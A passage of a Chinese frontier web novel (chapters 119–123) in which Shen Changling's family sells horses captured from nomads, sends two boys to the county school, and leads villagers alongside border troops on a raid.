沈长菱眼疾手快,用灵识阻挡那个想逃的人。只见那人刚跃上房顶,就像踩到什么东西似的滑倒了。他狼狈地翻滚着,差点摔下来。 留下来的那人见同伴被困,心神大乱。暗一抓住机会,一掌劈向他的手臂。 就在这时,变故陡生!从房顶摔下来的人突然甩出一把刀,直接刺穿了同伴的胸膛!鲜血顿时染红了积雪。 被刺中的人脸上露出解脱的笑容,嘴角甚至还带着一丝诡异的弧度。而行凶者则迅速从怀中掏出一张纸条塞进嘴里,转身就要逃走。 楚云衡眼神一寒,弓箭瞬间出手,将那人射落。箭矢准确地穿透了他的大腿,让他重重地摔在地上。 “好狠的蛮子,连自己人都下得去手。”村民们看得心惊肉跳,纷纷后退几步。 暗一等人立即上前搜查尸体,想找出他们的来历。沈长菱却提醒道,“那张纸条应该还没来得及消化,得赶紧找大夫。” 楚云衡当机立断,“我这就带人去县城。”他翻身上马,目光在沈长菱和林月身上掠过,“之前说好的分配就按计划进行,我会尽快派人来取。这里就拜托你了。” “放心吧。”沈长菱笑着挥手送别。看着楚云衡远去的背影,她的笑容里多了几分深意。 “哎呦,这些牛羊都是你的吗?从哪儿弄来的好东西?”卫大娘搓着粗糙的双手凑上前,一双浑浊的眼睛直勾勾地盯着那群膘肥体壮的牲口,眼底闪烁着贪婪的光芒。 沈长菱转过头,嘴角勾起一抹意味深长的笑意,“想要?” “谁不想要啊!”卫大娘眼睛发亮,脸上的褶子都笑开了花,“你说是不是啊?”她回头朝着周围的村民大声喊道,浑浊的嗓音在寂静的村口格外刺耳。 村里人蠢蠢欲动,三三两两地聚在一起窃窃私语。要不是上次见识过沈长菱和林月的身手,怕是早就有人冲上来抢了。空气中弥漫着一股若有若无的火药味。 “呵,想得美。”沈长菱冷笑一声,目光扫过众人,“这些可是我从蛮子那抢回来的,想去自己抢一下呗。”她的声音不大,却带着一股子说不出的凌厉。 林月站在一旁,攥紧的拳头青筋暴起,“谁敢动我家的牛羊,看我不打断他的腿!” 几个原本跃跃欲试的村民赶紧缩回了手,脸上露出讪讪的笑容。谁不知道这娘们的拳头有多重,上次李四就因为多看了两眼她家的鸡,被打得躺了三天。 沈长菱站在原地,目光落在那群牲畜身上。这一百多头牛、两百多只羊,还有五十多匹马,虽然路上有些死伤和丢失,但按人头分下来,她和娘能分到不少。牛羊此起彼伏的叫声仿佛在诉说着这场胜利的喜悦。 想到爹知道后的表情,她就忍不住笑出声来。嘴角的弧度藏不住,眼底闪烁着狡黠的光芒。 果然,消息传到沈家时,沈长河连鞋都来不及穿好就往家跑,一路上踉踉跄跄,差点摔了好几跤。他的头发凌乱,衣衫不整,哪还有平日里的稳重模样。 孟氏正拉着沈长菱仔细检查,“可有受伤?这几天都吃什么了?”她的手在沈长菱身上来回摸索,生怕漏掉任何一处伤痕。眼角泛着泪光,声音里满是心疼。 “伯母,我好着呢。”沈长菱任由孟氏检查,心里微微的。 “我的好丫头啊!”沈丰年红着眼圈冲过来,声音哽咽。他的脸上写满了担忧和欣慰,胡子一抖一抖的。 沈长菱瞪大眼睛,“什么好丫头,我还年轻着呢!”她故作嫌弃地躲开父亲的拥抱,却掩不住眼底的笑意。 “姐!”沈长河一把抓住她的手,掌心的温度透着焦急,“你没事真是太好了。”他的眼眶微红,声音里带着颤抖。 沈明文的注意力却全在外面,踮着脚往院子外张望,“那些牛羊都是咱家的?”他的眼睛亮晶晶的,像是看到了一座金山银山。 第一百一十九章 干得好 林月摇摇头,擦了擦额头的汗水,“不全是,还得分给那位公子一些。”她的语气里带着些许遗憾,但更多的是对这次收获的满足。 沈丰德坐在堂屋的椅子上,神色严肃,“说说这几天的经历吧。”他的目光在沈长菱和林月身上来回扫视,生怕漏掉什么细节。 林月便绘声绘色地讲起在草原上的见闻,手舞足蹈地形容着那些蛮子的模样,沈长菱在一旁时不时补充几句。三个哥哥听得入了迷,连茶水凉了都没注意。 “那些蛮子的帐篷可都是上好的皮子,我们全部拆了带回来了!”林月说到得意处,脸上的褶子都笑开了花,“那些皮子可值钱了!” 孟氏笑着拍手,“干得好!”她的眼睛弯成月牙,脸上写满了骄傲。 晚上,孟氏特意宰了一只羊,做了一桌子好菜。厨房里飘出阵阵香气,勾得人直流口水。案板上的菜刀声清脆悦耳,锅里的汤汁咕嘟咕嘟冒着泡。 清香四溢的羊肉上桌,大家都顾不上说话,埋头苦吃。筷子翻飞,碗碟交错,满屋子都是咀嚼声和赞叹声。 酒足饭饱,沈丰德突然开口,“过几天我要去县学任职了。”他的声音平静,却让整个屋子都安静下来。 “县学?”沈长菱一愣,筷子停在半空中。她没想到大伯会突然说出这个消息。 “李大人给了两个名额,我打算带明昊和长河去。”沈丰德的目光扫过在座的每个人,最后落在两个男孩身上。 沈明昊看向沈明齐,眼里闪过一丝犹豫,“三弟年纪小,让他去吧。”他的声音温和,带着长兄的关怀。 “不用,大哥去。”沈明齐摇头,语气坚定。他低着头,手指无意识地摩挲着碗边。 沈明文缩了缩脖子,读书有什么好处呢,还争着抢着去。他偷偷瞄了一眼父亲,生怕被抓去读书。 “就这么定了。”沈丰德一锤定音,声音不容置疑。屋子里的气氛有些凝重,只有碗筷碰撞的声音在继续。 沈长菱的手指无意识地摩挲着腰间的弯刀,这把在灾变世界里救过她无数次的武器此刻却给不了她半分安全感。 饭后。 “爹,去县学读书,真的没问题吗?”沈长菱转身看向正在收拾行装的沈丰年,声音里带着难以掩饰的担忧。 沈丰年正在检查马车的轮子,闻言抬起头来,脸上带着些许不耐烦,“有什么问题?李大人都发话了,咱们还怕什么?这么好的机会,有便宜不占是傻子!” 一旁整理货物的沈丰德放下手中的箱子,轻轻拍了拍衣服上的灰尘,“不过是各自满足需求而已。既然他们主动开了这个口子,我们又何必自寻烦恼。”他的语气平静,却透着一股说不出的自信。 沈长菱看着两人一唱一和的样子,心里的疑虑渐渐消散。确实,既然李大人都点头了,她还在这瞎操什么心。可不知为何,那种莫名的不安感始终萦绕在心头,挥之不去。 院子里一片忙碌。孟氏和林月正在收拾被褥衣物,两个妇人脸上都带着掩饰不住的喜悦。毕竟在这个时代,能进县学读书是多少人求之不得的机会。 “长菱,把这些棉衣都收好。”孟氏将叠得整整齐齐的衣物递过来,“冬天快到了,可不能让你们受冻。” 林月也跟着叮嘱,“对,还有这些药,我都配好了,记得带着。” 沈长菱接过东西,心里一暖。正要说话,突然感觉背后一凉,一个熟悉的声音在身后响起。 “你用刀?” 她转身,看见孟西北不知何时出现在院子里。那双失明的眼睛似乎能穿透一切,直视人心。 “是啊,大叔有什么高见?”沈长菱下意识地摸了摸腰间的弯刀。 孟西北伸出布满老茧的手,“拿来。” 沈长菱犹豫了一下,还是解下刀鞘递了过去。她看着孟西北那双浑浊的眼睛,心里暗自嘀咕,瞎子怎么看刀? 孟西北的手指轻轻抚过刀身,突然冷哼一声,“蠢货!” 这突如其来的训斥让沈长菱一愣,“啊?” “你天生神力,却用这种轻飘飘的玩意儿,简直是暴殄天物!”孟西北的声音带着几分恨铁不成钢,“就算是名匠打造的宝刀,若不适合使用者,也不过是废铁一块!你这样,就像是让大象去踩蚂蚁!” 沈长菱被说得哑口无言。确实,她选择这把刀,不过是因为灾变世界用惯了,从未考虑过是否真的适合自己。 “那您说我该用什么?”她试探着问道。 孟西北转身就走,背影透着一股高深莫测,“等着,过几天给你一样不错的玩意儿。” “真的?多谢大叔!”沈长菱眼前一亮,脸上露出期待的笑容。 几天后,卫云昂特制的新车厢终于完工了。这车厢不仅用料上乘,还在三面都安装了隐藏式三弩,遇到危险可以同时射出三支箭。车厢内部空间宽敞,铺着厚实的毡毯,就连车帘都是双层的,能很好地遮挡寒风。 一家人坐在崭新的车厢里,向县学进发。沈丰年赶着牛,任由寒风吹打着脸庞。孟氏坐在车厢里,不停地叮嘱着两个孩子。 “这次机会难得,你们一定要好好把握。”孟氏握着沈明昊的手,眼中满是不舍,“家里的事不用担心,缺什么就说。” 沈长河笑着安慰,“大娘放心,我一定会好好照顾大哥的。” 沈明昊敲了下他的脑袋,“你个小不点,还是先管好自己吧。看你这样子,怕是连自己都照顾不好。” 寒风凛冽,马车在崎岖的山路上颠簸前行。沈丰德裹紧大氅,目光透过车窗望向远处的县学大门。 “停下吧。”他轻声吩咐车夫。 马车缓缓停在门前,沈丰德从车上跳下,拱手向守门人施礼,“邓大哥,是我!” 老钱头眯着眼睛仔细打量,浑浊的眼中闪过一丝迟疑,随即绽放出欣喜的笑容,“这不是沈先生吗!快请进!” 他手脚麻利地卸下沉重的门栓,将厚重的木门拉开。寒风夹杂着细碎的雪花灌进院内,惊起几只在屋檐下躲避的麻雀。 “几日不见,您身子可好?”沈丰德含笑问候,目光落在老钱头略显佝偻的背影上。 “好着呢!”老钱头拍拍胸脯,中气十足,“老头子我这把年纪了,还能看门守院,就是福气。沈先生家中事务都料理完了?” “琐事繁多,耽搁了些时日。”沈丰德微微叹息,“今日是来正式上值的。” 老钱头的目光越过沈丰德,落在马车旁的沈明昊等人身上。几个少年郎个个气质不凡,让他忍不住感慨,“这些都是府上的孩子吧?” “是啊,这两个要在这里读书。”沈丰德指了指沈明昊和沈长河,眼中流露出期待与担忧交织的神色。 第一百二十章 上门 老钱头眼底闪过一丝羡慕。在这边关之地,大多数人都以为上阵杀敌才是正途。可他这个看了多年县学大门的老兵却深知,读书才是真正的出路。 寒风呼啸,吹得老钱头的灰白胡须微微颤动。他望着两个少年清秀的面容,不由得想起自己的孙儿。那些大字不识一箩筐的后生,现在还在城外的农田里刨食。 “进来避避风吧。”老钱头回过神,侧身让开门口。 沈丰德带着沈明昊、沈长河和沈丰年进去安顿,其他人在门外等候。 孟氏站在马车旁,目光透过半开的门扉打量着这座将要培养儿子的学堂。 朱漆斑驳的围墙内,几株老槐树在风中摇曳,光秃秃的枝桠上还挂着零星的枯叶。一排排灰瓦房在雪色中显得格外沉寂,只有远处传来断断续续的读书声。 孟氏的心情既期待又忐忑。她知道,这里将是儿子们改变命运的起点。 “夫人放心,”老钱头看出她的担忧,轻声安慰道,“咱们县学虽不比京城国子监,但先生们都是学问渊博之人。” 孟氏勉强挤出一丝笑容,“有劳钱大哥照看了。” 半晌,沈丰年从里面出来,脸上带着笑意,“都安排好了,两个孩子住处也妥当。学费不收,只要付食宿费用。我给他们每个人留了五百文,如果不够的话,就去找大哥要吧。” 孟氏这才松了口气,紧绷的肩膀微微放松。 告别了老钱头,一行人驱车进城采买。街上行人稀少,粮店门口排着长队,每家限购五斤粮食。菜价更是飞涨,往日三文钱一斤的白菜,如今要十五文。 孟氏看着摊位上蔫黄的菜叶,咬了咬牙,“给我称五十斤。” “伯母,这也太贵了。”沈长菱在旁低声劝阻。 “总不能顿顿吃肉。”孟氏叹息着掏出铜钱,“再说,你哥哥和弟弟在学堂,也得给他们送些菜去。” 沈长菱心疼娘亲的辛苦,连忙附和,“是啊,没菜配着,肉也不香。” 采买完返回家中,沈长菱躲进自己的房间。她环顾四周,确认无人后,悄悄进入空间查看。小猪和两只鸡都长势喜人,她满意地给它们加了些红薯。 玉猿突然从角落里窜出来,一下子扑到她身上撒娇。温暖的空间里,这家伙倒是过得逍遥自在。 “怎么,想出去了?”沈长菱轻轻戳了戳它的脑袋。,“当初觉得外面冷想进来的就是你,现在又想出去?” 玉猿呜咽着蹭她的手,一双圆溜溜的眼睛可怜巴巴地望着她。 “行吧行吧。”沈长菱无奈地提着不情愿的玉猿出了空间。寒风一吹,玉猿立刻后悔了,一溜烟窜上炕头取暖去了。 沈长菱摇头笑笑,找来木箱和泥土,开始尝试种植金薯和红薯。这是她最近琢磨的主意——若能在房间里种出蔬菜,也能省下不少银钱。 她专注地摆弄着泥土,完全沉浸在实验中。直到院外传来一阵急促的马蹄声,才惊醒过来。 “沈姑娘在家吗??”萧都尉风风火火的声音在院子里回荡。 沈长菱拍了拍手上的泥土,走出房门,“萧叔这是要打上门来?” 萧继昂一脸兴奋,顾不上寒暄就开门见山,“听说你们缴获了蛮子的马?在哪呢?” 他目光如电,一眼就看中了马棚里那两匹黑金色的骏马。那矫健的身姿,优美的线条,让这位老马痴双眼发直。 沈长菱赶紧挡在前面,“那是我家的,蛮子的马在那边。” “侄女,你这也太见外了,”萧继昂讪讪地搓着手,“瞧两眼又不会少块肉的。。” “我是怕您把它们吃了。”沈长菱看着他不停擦拭口水的模样,忍俊不禁。 两个副手已经围着战马转了好几圈,爱不释手。这些马儿体格健硕,四肢修长,鬃毛油亮,一看就是极品好马。。 “好马!真是好马!”萧继昂连声赞叹,眼中闪烁着狂热的光芒,“蛮子养马就是有一手!这些马儿比我们的战马强多了。” 马厩里飘散着干草和马粪的气味,十几匹骏马安静地站在各自的隔间内。沈长菱注意到萧继昂的目光在一匹通体乌黑的马驹上停留了许久。 “这匹乌骓马确实不错。”沈长菱轻声说道,“性子烈了些,但耐力极好。” 话音未落,那匹烈性的乌骓马突然不耐烦地扬起后蹄,朝着萧继昂狠狠踢去。萧继昂身手矫健,一个侧身便躲开了这致命的一击。 “都尉小心!”跟随在后的两名副将惊呼出声。 前不久,萧继昂官职有变,现为边军都尉。 “无妨。”萧继昂摆摆手,脸上的笑意不减,“性子烈的马儿才有灵性。” 沈长菱皱眉道,“这些马性子都烈,得花些时间驯服。” “哈哈,边军最不缺的就是调教马匹的好手。”萧继昂豪爽地大笑,转头对身后的副将吩咐,“去把老李叫来,让他看看这些马。” 沈长菱暗自松了口气。这些天为了养活这些牲口,她可没少操心。村里的草料根本不够,沈丰年带着人上山割草,她还得偷偷给牲口加餐,就怕它们饿瘦了。 “姑娘,老李来了。”副将的声音打断了她的思绪。 一个精瘦的老者快步走进马厩,他的眼睛明亮如鹰隼,在看到那些马时顿时亮了起来。 “好马!”老李围着马匹转了一圈,连连点头,“这些马的品相都不错,就是有点野性,需要好好调教。” 萧继昂满意地笑道,“那就交给你了。” “既然马匹都合意,那就谈谈价钱吧。”沈长菱直入主题,她知道拖得越久对自己越不利。 萧继昂的笑容收敛了些,眼中闪过一丝精明,“姑娘也知道,寻常百姓是不准养马的。你们能养两匹已是特例,这些马还是得交给边军。” “我明白。”沈长菱点头,目光坚定,“只要价钱合适,都归你们。” “哈哈,沈姑娘爽快!”萧继昂身后的副手插话道,脸上带着几分讨好,“当初都尉可是特意安排,让你们分到这宁县的好地方呢!” 沈长菱冷笑一声,眼中闪过一丝痛楚,“好地方?三天两头就有蛮子来袭,最近就死了我们沈氏三分之一的人,尸骨未寒呢!” 马厩内顿时陷入一片沉默。萧继昂的脸色也沉了下来,“边关就是如此,寒陵更惨。若非靖王父子亲自坐镇,怕是早就被攻破了。” “过完年,怕是要有一场大战。”他叹息着补充道。 沈长菱沉默片刻,突然开口,“一匹马,三十两。” “这......”萧继昂愣住了,他原本准备了一肚子话来压价,没想到沈长菱开口就是这个数。 “怎么?嫌贵?”沈长菱挑眉,语气中带着几分讥讽。 “不不不!”两个副手连忙掏出银票,“这是三百六十两,十二匹马的钱。” 第一百二十一章 成交 沈长菱接过银票,转身去找沈丰年牵马。沈丰年正在马厩后面整理草料,看到女儿过来,连忙迎上前。 “丫头,这价钱......”沈丰年有些心疼地看着那些马。 “爹,这是边军用的战马,咱们不能太计较。”沈长菱低声道,“边关安宁,我们才能安居。再说了,这些马本就是从蛮子手里抢来的。” 沈丰年叹了口气,“也罢,你说得对。不过这萧继昂,倒是个实在人。” 很快,马匹交接完毕。萧继昂又看中了沈家的几头牛羊,二话不说又多付了二十两银子。 “沈姑娘,改日我再来拜访。”萧继昂临走前意味深长地说道。 看着他们牵着牲口离去的背影,沈长菱若有所思。边关需要良马,也需要良将。只是不知道,这场即将到来的大战,又会带来怎样的腥风血雨。 村里人看着沈家一次性卖了这么多银子,眼红得很。三三两两地聚在一起窃窃私语,不时用异样的目光打量着沈家。 “沈姑娘......”傍晚时分,几个村民搓着手凑上来,“我们能不能也去抢些牛羊回来?听说山那边经常有蛮子的牧场......” 沈长菱看着他们期待的眼神,不由得想起之前的那场屠杀。鲜血染红了村口的土地,族人的哭喊声至今还在耳边回响。 “你们想找死吗?”沈长菱冷声道,“蛮子的手段你们又不是没见过。” 人群骚动起来,一个膀大腰圆的汉子挤出人群,大声嚷嚷,“小娘子这是看不起谁呢?你一个姑娘家都敢去,我们大老爷们有啥不敢的!” 说着,那人竟然开始解自己的衣扣。寒冷的空气中,他那结实的肌肉被冻得通红,活像个刚从地里拔出来的萝卜。周围的人群发出一阵哄笑。 “赵虎虎,你这是要干啥?”有人起哄道。 “让沈家小娘子看看,咱们爷们也不是吃素的!”赵虎虎挺起胸膛,一副豪气干云的模样。 沈长菱还没来得及说话,沈丰年就从屋里冲了出来。他脸色铁青,三步并作两步冲到赵虎虎面前,一把将女儿护在身后。 “要不要脸?光天化日之下,在我家门口耍流氓?”沈丰年怒喝道,声音中带着浓浓的威胁。 赵虎虎被这一声吼得一个激灵,慌忙捡起地上的衣服,“这...这有啥的,边关谁家姑娘没见过光膀子?再说又没露啥不该露的......” “啥叫不该露的?”林月的声音突然在人群中响起,带着一股子冷意,“你是觉得我们沈家好欺负,还是觉得我丫头好糊弄?” 赵虎虎吓得手忙脚乱地穿起衣服来,脸涨得通红。沈丰年眯着眼睛盯着他,目光阴冷得像是能把人冻住。 雪越下越大,沈长菱看着眼前这些村民。他们虽然粗鲁,但在蛮子来袭时,确实帮过他们家。那时候,要不是村里人齐心协力,恐怕他们家早就... “行了,都散了吧。”沈丰年不耐烦地挥手,打断了她的思绪。 可村民们不肯走,有人喊道,“沈家的,这话可不对劲。当初蛮子来的时候,我们可是帮过你们的!” “就是啊,今年粮食都给抢光了,这大雪天的连活都找不到,年都快过不下去了......” “县城的粮食也是有限的,去晚了就买不着,你们吃肉,让我们喝口汤总行吧?” 七嘴八舞的声音中,沈长菱的目光落在了一直没说话的村长身上。老人站在人群后面,眼神中带着复杂的情绪。 “我可以带你们去。”她突然开口,声音清晰地传到每个人耳中。 人群瞬间安静下来,所有人都屏住呼吸看着她。 “但是有话说在前头。”她继续道,目光扫过每一张期待的脸。 村长压抑住心中的激动,“你说。” “蛮子没有固定的营地,就算按上次的路线走,也不一定能遇到。这是在拿命赌,生死有命,富贵在天。若是有个闪失,谁也别怨谁。” “那是自然!”有人立刻应道,“谁去不是自己想清楚了的?要真出了事,谁也怨不得谁!” 卫大娘也拍着胸脯保证,“我卫玲药说话算话,要是临阵脱逃,就不是人!” 村长沉吟片刻,开口道,“沈丫头,你放心。去的人我都会仔细挑选,绝不会带拖后腿的。” 沈长菱点点头,“两天后出发,想去的准备好御寒的衣物和干粮。” 等人群散去,沈丰年拉着脸训斥起女儿来,“咱家现在可不缺钱,你何必去冒这个险?” “爹......”沈长菱正要解释,林月就跳了出来。 “你凶我丫头做啥?”林月叉着腰,气势汹汹地瞪着丈夫,“我丫头做事自有分寸,轮不到你在这儿指手画脚!” “你丫头这么大的事都不跟我商量,还有没有把我这个当爹的放在眼里?”沈丰年也不甘示弱。 “我丫头做事自有分寸,你爱听不听!” 看着两人又要吵起来,沈长菱赶紧撒娇,“爹,我错了,下次一定先跟您商量......” 她说着,将一叠银票塞到沈丰年手里。沈丰年虽然还板着脸,眼底却已经藏不住笑意。 “哼,这次就饶了你。”他装模作样地哼了一声。 林月在一旁酸溜溜地道,“我这么听话,也没见给我这么多零花钱。” 沈长菱看着父母斗嘴的模样,嘴角不自觉地扬起一抹笑意。她转身走进屋里,开始准备这次行动需要的物资。 夜幕降临,沈长菱坐在房间里,借着烛光清点装备。厚实的棉衣、干粮、火折子、绳索......一样一样,都要准备妥当。 外面的雪还在下,寒风呜咽着拍打窗户。她知道,这次行动凶险异常。蛮子不是好惹的,上次能顺利得手,有运气的成分在。这次带着这么多人,风险更大。 但看着村民们期待的眼神,她又怎么忍心拒绝?那些帮助过他们的人,现在正在寒冬中挣扎。 “咚咚咚。”敲门声响起。 “进来。” 林月端着一碗热气腾腾的姜汤走进来,“长菱,喝点暖暖身子。” 沈长菱接过碗,轻轻抿了一口,“娘,您别担心,我会小心的。” 林月叹了口气,伸手摸了摸女儿的头发,“娘知道你有本事。可这次带着这么多人......” “娘,您放心。我心里有数。”沈长菱笑着安慰道。 这时沈丰年走了进来,手里拿着香香水,递给沈长菱。 沈长菱歪着头打量着父亲紧绷的面容,眨了眨那双灵动的眼睛,“爹,你瞧我现在可不傻,武功也不错。再说,”她指了指自己乱糟糟的发型,笑道,“我这样子,谁会多看一眼?” 第一百二十二章 没有拉得动我 沈丰年叹了口气,目光不由自主地飘向了一旁的林月。他仿佛又看到了多年前那个明艳照人的新娘,头发高高挽起,眉眼如画。那时的林月总喜欢到处闲逛,每每让他提心吊胆。直到后来想出了办法,把林月的脸涂得又黄又黑,这才稍稍安心。 屋内一时陷入沉默,沈丰年踱步到窗前,望着院子里那株开得正艳的海棠,欲言又止。 “要是有陌生男人跟你搭话,你怎么办?”他转过身,试探着问道。 “当他是空气。”沈长菱漫不经心地回答。 “那如果他硬拉着你,说要带你去什么地方......”沈丰年话未说完,只见沈长菱起身走到院子里,随手抄起一根拳头粗的木棍。 “咔嚓”一声脆响,木棍应声而断。 她挑眉看向父亲,眼中闪过一丝狡黠,“您觉得,有人能拉得动我吗?” 沈丰年愣在原地,看着女儿利落的身手,一时语塞。是啊,自己的女儿早已不是当年那个需要处处保护的小姑娘了,这身手,就是寻常男子也未必是对手。 “我去看看玉松叔他们。”沈长菱牵出一头羊,轻快地说道。 “等等,我跟你一起去!”沈丰年连忙跟上,生怕女儿又耍什么花样。 林月也跟着凑了热闹,三人一路说说笑笑,向沈玉田家走去。 村道上,三三两两的村民正在劳作,看到他们牵着羊过来,纷纷投来好奇的目光。沈长菱却浑不在意,依旧保持着自己的步调,时不时还要拽一把走得太快的羊。 当他们带着羊来到沈玉田家时,赵大娘正在院子里晾晒草药。看到他们牵着羊来,顿时惊得连连摆手,“这使不得,使不得......” 沈玉田听到动静,从屋里探出头来。一看这阵仗,眼泪立马就下来了,“丰哥,你老实说,我这病是不是没希望了?”他抹着眼泪,一副生离死别的模样。 “你胡说什么!”沈丰年没好气地瞪他一眼,“好好的怎么就没希望了?这不是给你送补品来了吗?” “那我怎么总觉得没劲儿......”沈玉田一把鼻涕一把泪,“你们肯定是想让我临走前吃顿好的......” 赵大娘听不下去了,气得脱下鞋子就朝他脑袋抽去,“我让你胡说八道!一顿能吃八个窝窝头的人,哪里像要死的样子!” “哎哟!”沈玉田捂着头躲闪,“娘,你轻点!” 沈丰年在一旁看得直乐。林月更是拍手叫好,看得赵大娘兴起,干脆把另外两个儿子也揍了一顿。 “都给我起来干活去!整天在家装死,一个个的比猪还懒!”赵大娘挥舞着鞋子,把三个儿子赶出了院子。 沈长菱见状,赶紧拉着父母溜了。一路上,林月还在笑个不停,说赵大娘这脾气一点都没变。 晚上孟氏他们从城里回来,沈丰年立刻找大嫂告状。 孟氏听完,只是轻轻叹了口气,拉着沈长菱坐下,“你是不是因为那些言论,才想去的?”她的目光温和而包容。 “不全是,”沈长菱摇头,“我自己也想去一趟。我知道外面的世界很大,有很多我想见识的东西。” 孟氏点点头,“我知道你和别人不一样。我跟你大伯讨论过了,想干嘛就去干嘛吧,只是......”她握住沈长菱的手,语气里满是关切,“一定要保护好自己。” 沈丰年瞪大了眼睛,“就这样?”他难以置信地看着孟氏,“你们就这么放心让她出去?” “你大哥说了,长菱有自己的主见。”孟氏瞥了他一眼,“你要是不服气,去找你大哥聊聊。” 沈明文和沈明齐立刻凑了上来,你一言我一语地争论起来。 “三弟就算了,去的话只会拖后腿。”沈明文摆出一副过来人的架势。 “二哥太冲动,还得长菱照顾。”沈明齐不甘示弱。 “我既能打又乖巧,肯定得带我去!”沈明文拍着胸脯保证。 三人争得面红耳赤,沈丰年气得直跳脚,“不带我,谁也别想去!” 一旁的卫云昂默默地刨着木头,手中的动作丝毫不停。虽然心里也有些向往,但他很清楚自己的身份特殊,只能在家做些机关,为大家多留一份保障。 夜色渐深,院子里终于安静下来。沈长菱趁着月色,来到后山查看金薯的生长情况。成苗移栽的已经开始泛黄,看来需要时间适应。倒是那些切块的金薯已经冒出了新芽,嫩绿的叶子在月光下显得格外精神。 她蹲下身,轻轻抚摸着那些幼嫩的叶片,心中涌起一股欣慰。这些小生命正在茁壮成长,就像她一样,在追寻着自己的道路。 正想着,身后传来轻微的脚步声。孟西北不知何时出现在她身后,手里拿着一个用布包裹的长条物件。 “给你的。”他递过来,声音依旧是那般清冷。 沈长菱接过来,入手颇沉,约经寒百来斤重。她小心翼翼地解开布包,里面是一条做工精巧的铁鞭,鞭身由三角形铁扣相连,在月光下泛着冷冽的光芒。 她试着抖了一下手腕,铁扣瞬间合拢,变成了一根铁棍。这变化让她眼前一亮,忍不住又试了几次。 “这是专门给我打造的?”沈长菱惊喜地问,眼睛亮晶晶的。 孟西北嘴角微扬,月光下的轮廓显得格外柔和,“算不上,只是顺便。手柄那里有个机关,拉一下是鞭子,再拉一下就变成铁棍了。” “这叫什么?”她爱不释手地把玩着。 “玄索。” “这名字倒是简单。”沈长菱轻声念叨着,手指轻抚过铁鞭,目光在这把朴实无华的兵器上流连。 两天时光悄然流逝。 林月站在堂前,目光坚定地扫过沈丰年、沈明文和沈明齐三人,“我们都去!”她的声音不大,却带着不容置疑的力量。 沈明文和沈明齐对视一眼,眼中闪过一丝担忧。 玉猿已经穿上了孟氏特意缝制的小皮袄,趴在沈长菱肩头,眼神警惕地打量四周。皮袄虽然简陋,却足以抵御寒风。 沈长菱将三套弩箭分给父亲和两个哥哥,声音低沉而认真,“家里就拜托你们了。” 她转向家人,叮嘱道,“记住,一定要跟在我和娘后面,看准了再放箭。弩箭有限,每一支都要用在刀刃上。” 沈丰年接过弩箭,眼中闪烁着兴奋的光芒,像个即将出征的少年,“放心,包在爹身上!” 约定时间一到,青山村的村民们纷纷聚集在村口。每个人都背着行囊,眼神中透着决绝。有人紧握着锄头,有人背着竹筐,甚至还有人抱着砍柴刀。 沈长菱目光扫过人群,突然看到了几个熟悉的身影——沈玉松、沈虹、沈志平和松氏。他们站在人群边缘,身形略显单薄,却挺直着腰板。 第一百二十三章 杀蛮子 “玉松叔!”沈长菱快步上前,眉头微皱,“你们的伤......” 沈志平打断了她的话,“伤已经好得差不多了,这段时间我也没闲着。”他活动了下手臂,动作虽然有些生涩,但已经能够自如活动。 “治病花光了家底。”沈虹言简意赅地说道,声音沙哑。这句话道出了在场大多数人的处境。 沈玉松没有说话,只是默默地站在那里。但他眼中的坚定,胜过千言万语。 松氏站在一旁,手中紧握着一根木棍。曾经那个胆小怯懦的妇人,此刻眼中竟也燃起了火焰。 沈长菱看着眼前的族人,心中涌起一股暖流。曾经三十多户两百多人的沈氏族人,如今只剩不足百人。但每一个人眼中都燃烧着求生的渴望。 “好!”她高声道,“既然大家都要为生活拼搏,那就记住我们的目标,杀蛮子!抢牛羊!” “杀蛮子!抢牛羊!”人群齐声呐喊,声音在寒冷的空气中回荡。 就在这时,一道略带调侃的声音从身后传来,“什么蛮子?什么牛羊?” 萧都尉带着一队人马,不知何时已经到了村口。铁甲在晨光中泛着冷光,马蹄扬起的尘土还未落定。 村民们的欢呼声戛然而止,脸色瞬间变得煞白。有人下意识地后退了一步,有人紧张地攥紧了手中的工具。 “萧叔?”沈长菱镇定自若地迎上前去,脸上挂着恰到好处的笑容。 萧继昂翻身下马,目光在村民身上扫过,“这是要干什么?老远就听见你们喊打喊杀的。” 村长额头渗出细密的汗珠,正要开口解释,沈长菱已经抢先说道,“上次抢得不够过瘾,这次想去多抢些。”她的语气轻松,仿佛在谈论今天的天气。 “哈哈哈!”萧继昂大笑起来,“巧了!我正想找你带路呢!听世子说你耳聪目明,身手不凡,不如一起?” 沈长菱无奈地看了眼天空。这已经是第几个要她带路的人了? “那就一起吧。”她爽快地应下。反正有这么多人手,也能多抢些东西回来。 萧继昂重新上马,麾下将士分列两队。沈长菱也不示弱,一挥手,“出发!” 队伍沿着牛羊群留下的痕迹向山中进发。有了边军相助,沈长菱心里也轻松了几分。但她始终保持着警惕,不时用灵识探查四周。 夜幕降临,众人围着马匹取暖,啃着干粮御寒。寒风呼啸,如刀割般刮在脸上。有人瑟缩着身子,有人默默地搓着手,却没有人抱怨。 翻过大山,眼前是一望无际的草原。萧继昂兴奋地问,“这就是蛮子的地盘了?” 沈长菱展开灵识探查,“是草原没错,但附近没有蛮子踪迹,得继续找。”她的声音有些疲惫,连续几天的灵识使用让她感到些许吃力。 四天过去,干粮渐渐见底。众人只能靠打野兔充饥,连喝口热汤都成了奢望。有人开始露出疲态,但没有人提出要回去。 第五天,就在萧继昂也开始怀疑时,沈长菱突然喊停,“前面有人!”她的声音压得很低,但每个人都听得清清楚楚。 “终于!”村长激动得差点跳起来,被旁边的人连忙拉住。 萧继昂压下心中的兴奋:“能听出多少人?” 沈长菱闭目感知,脸色渐渐凝重,“具体人数不好说。”她最终开口,声音很轻,“帐篷里的情况看不清楚。” 萧继昂嘴角勾起一抹冷笑,“人数不是问题,我带来的两队精锐足够应付。这些蛮子仗着地形优势,四处劫掠,今天也该给他们个教训了。” 他一挥手,身后的弓箭手迅速散开,寻找有利地形。另一群人则匍匐前进,等待着他的进攻命令。 “待会我们从正面突击,你们快去找个好地方藏起来。”萧继昂转向村长,“记住,一个都不能放过。这些畜生抢了你们的粮食,掳走你们的妻女,今天就是报仇的时候。” 村长看向沈长菱,浑浊的眼中带着询问和期待。这些日子以来,正是眼前这个年轻女子带领着他们,才让村子没有完全陷入绝境。 “三弩手在后,身强力壮的在前。”沈长菱快速安排,目光依然盯着山下,“保持扇形阵型,跟在他们后面包抄,主攻牛羊马群。” 村长兴奋地点头,转身去传达命令。村民们摩拳擦掌,眼中燃烧着复仇的火焰。 寒风中,沈长菱感受到了空气中弥漫的杀意。这些普通的村民,在失去亲人和财产后,也变得像野兽一般充满戾气。 